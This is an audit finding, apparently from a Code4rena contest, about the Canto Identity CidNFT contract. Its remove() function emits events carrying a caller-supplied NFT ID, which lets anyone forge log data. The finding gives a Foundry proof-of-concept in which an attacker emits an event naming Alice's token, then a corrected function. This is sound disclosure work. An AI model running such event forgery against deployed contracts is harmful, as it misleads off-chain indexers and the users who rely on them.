code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-canto-identity/blob/main/src/CidNFT.sol#L257-L272

Vulnerability details

The remove function present in the CidNFT contract can be used to dissociate a subprotocol NFT from a CID. This function takes a _nftIDToRemove parameter that is useful for the case of AssociationType.ACTIVE in order to look for the position in the underlying array that needs to be deleted. However, this parameter is wrongly used in the other two association type cases to emit events, and allows a bad actor to emit arbitrary data.

https://github.com/code-423n4/2023-01-canto-identity/blob/main/src/CidNFT.sol#L257-L272

if (_type == AssociationType.ORDERED) {
    // We do not have to check if ordered is supported by the subprotocol. If not, the value will not be unset (which is checked below)
    uint256 currNFTID = cidData[_cidNFTID][_subprotocolName].ordered[_key];
    if (currNFTID == 0)
        // This check is technically not necessary (because the NFT transfer would fail), but we include it to have more meaningful errors
        revert OrderedValueNotSet(_cidNFTID, _subprotocolName, _key);
    delete cidData[_cidNFTID][_subprotocolName].ordered[_key];
    nftToRemove.safeTransferFrom(address(this), msg.sender, currNFTID);
    emit OrderedDataRemoved(_cidNFTID, _subprotocolName, _key, _nftIDToRemove);
} else if (_type == AssociationType.PRIMARY) {
    uint256 currNFTID = cidData[_cidNFTID][_subprotocolName].primary;
    if (currNFTID == 0) revert PrimaryValueNotSet(_cidNFTID, _subprotocolName);
    delete cidData[_cidNFTID][_subprotocolName].primary;
    nftToRemove.safeTransferFrom(address(this), msg.sender, currNFTID);
    emit PrimaryDataRemoved(_cidNFTID, _subprotocolName, _nftIDToRemove);
} else if (_type == AssociationType.ACTIVE) {

In both AssociationType.ORDERED and AssociationType.PRIMARY cases, the code will remove the current associated subprotocol NFT ID (currNFTID) but will emit the event using the _nftIDToRemove parameters, which is user controlled.

Impact

This can be used by an attacker to forge the remove event data and set an arbitrary subprotocol NFT ID when emitting the log. This may eventually lead to other consequences as this event is likely used by off-chain indexers.

PoC

In the following, an attacker uses Alice's subprotocol NFT ID to call the remove function. The PrimaryDataRemoved event will be emitted using her subprotocol id.

contract Note is ERC20 {
    constructor() ERC20("Note", "NOTE", 18) {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }
}

contract AuditTest is DSTest {
    Vm internal immutable vm = Vm(HEVM_ADDRESS);

    string internal constant BASE_URI = "tbd://base_uri/";

    address feeWallet;
    address alice;
    address bob;
    address attacker;

    Note note;
    SubprotocolRegistry subprotocolRegistry;
    CidNFT cidNFT;
    SubprotocolNFT sub1;
    SubprotocolNFT sub2;
    AddressRegistry addressRegistry;

    event PrimaryDataRemoved(uint256 indexed cidNFTID, string indexed subprotocolName, uint256 subprotocolNFTID);

    function test_CidNFT_ForgeRemoveEvent() public {
        note.mint(alice, 100 * (10**18));

        // Setup
        vm.startPrank(alice);

        // Alice registers subprotocol
        note.approve(address(subprotocolRegistry), type(uint256).max);
        subprotocolRegistry.register(
            true,
            true,
            true,
            address(sub1),
            "sub1",
            0
        );

        // Mints CidNFT
        cidNFT.mint(new bytes[](0));
        uint256 cidNFTID = 1;
        assertEq(cidNFT.ownerOf(cidNFTID), alice);

        // Alice mints subprotocol NFT and adds it to the CidNFT
        uint256 aliceSubprotocolNFTID = 7;
        sub1.mint(alice, aliceSubprotocolNFTID);

        sub1.approve(address(cidNFT), aliceSubprotocolNFTID);
        cidNFT.add(
            cidNFTID,
            "sub1",
            0,
            aliceSubprotocolNFTID,
            CidNFT.AssociationType.PRIMARY
        );

        vm.stopPrank();

        // Attack
        vm.startPrank(attacker);

        // Attacker mints his own CidNFT
        cidNFT.mint(new bytes[](0));
        uint256 attackerCidNFTID = 2;
        assertEq(cidNFT.ownerOf(attackerCidNFTID), attacker);

        // Attacker mints his subprotocol NFT
        uint256 attackerSubprotocolNFTID = 11;
        sub1.mint(attacker, attackerSubprotocolNFTID);

        // Adds it to his CID
        sub1.approve(address(cidNFT), attackerSubprotocolNFTID);
        cidNFT.add(
            attackerCidNFTID,
            "sub1",
            0,
            attackerSubprotocolNFTID,
            CidNFT.AssociationType.PRIMARY
        );

        // Now the attacker removes the NFT but using Alice's token id. The event will be emitted using Alice's subprotocol NFT.
        vm.expectEmit(true, true, true, true);
        emit PrimaryDataRemoved(attackerCidNFTID, "sub1", aliceSubprotocolNFTID);
        cidNFT.remove(attackerCidNFTID, "sub1", 0, aliceSubprotocolNFTID, CidNFT.AssociationType.PRIMARY);

        vm.stopPrank();
    }
}

Recommendation

In the cases of AssociationType.PRIMARY and AssociationType.ORDERED, the remove function should emit the corresponding event using the actual stored subprotocol NFT ID (currNFTID) instead of the _nftIDToRemove passed as an argument.

function remove(
    uint256 _cidNFTID,
    string calldata _subprotocolName,
    uint256 _key,
    uint256 _nftIDToRemove,
    AssociationType _type
) public {
    SubprotocolRegistry.SubprotocolData memory subprotocolData = subprotocolRegistry.getSubprotocol(
        _subprotocolName
    );
    address subprotocolOwner = subprotocolData.owner;
    if (subprotocolOwner == address(0)) revert SubprotocolDoesNotExist(_subprotocolName);
    address cidNFTOwner = ownerOf[_cidNFTID];
    if (
        cidNFTOwner != msg.sender &&
        getApproved[_cidNFTID] != msg.sender &&
        !isApprovedForAll[cidNFTOwner][msg.sender]
    ) revert NotAuthorizedForCIDNFT(msg.sender, _cidNFTID, cidNFTOwner);

    ERC721 nftToRemove = ERC721(subprotocolData.nftAddress);
    if (_type == AssociationType.ORDERED) {
        // We do not have to check if ordered is supported by the subprotocol. If not, the value will not be unset (which is checked below)
        uint256 currNFTID = cidData[_cidNFTID][_subprotocolName].ordered[_key];
        if (currNFTID == 0)
            // This check is technically not necessary (because the NFT transfer would fail), but we include it to have more meaningful errors
            revert OrderedValueNotSet(_cidNFTID, _subprotocolName, _key);
        delete cidData[_cidNFTID][_subprotocolName].ordered[_key];
        nftToRemove.safeTransferFrom(address(this), msg.sender, currNFTID);
        emit OrderedDataRemoved(_cidNFTID, _subprotocolName, _key, currNFTID);
    } else if (_type == AssociationType.PRIMARY) {
        uint256 currNFTID = cidData[_cidNFTID][_subprotocolName].primary;
        if (currNFTID == 0) revert PrimaryValueNotSet(_cidNFTID, _subprotocolName);
        delete cidData[_cidNFTID][_subprotocolName].primary;
        nftToRemove.safeTransferFrom(address(this), msg.sender, currNFTID);
        emit PrimaryDataRemoved(_cidNFTID, _subprotocolName, currNFTID);
    } else if (_type == AssociationType.ACTIVE) {
        IndexedArray storage activeData = cidData[_cidNFTID][_subprotocolName].active;
        uint256 arrayPosition = activeData.positions[_nftIDToRemove]; // Index + 1, 0 if non-existant
        if (arrayPosition == 0) revert ActiveArrayDoesNotContainID(_cidNFTID, _subprotocolName, _nftIDToRemove);
        uint256 arrayLength = activeData.values.length;
        // Swap only necessary if not already the last element
        if (arrayPosition != arrayLength) {
            uint256 befSwapLastNFTID = activeData.values[arrayLength - 1];
            activeData.values[arrayPosition - 1] = befSwapLastNFTID;
            activeData.positions[befSwapLastNFTID] = arrayPosition;
        }
        activeData.values.pop();
        activeData.positions[_nftIDToRemove] = 0;
        nftToRemove.safeTransferFrom(address(this), msg.sender, _nftIDToRemove);
        emit ActiveDataRemoved(_cidNFTID, _subprotocolName, _nftIDToRemove);
    }
}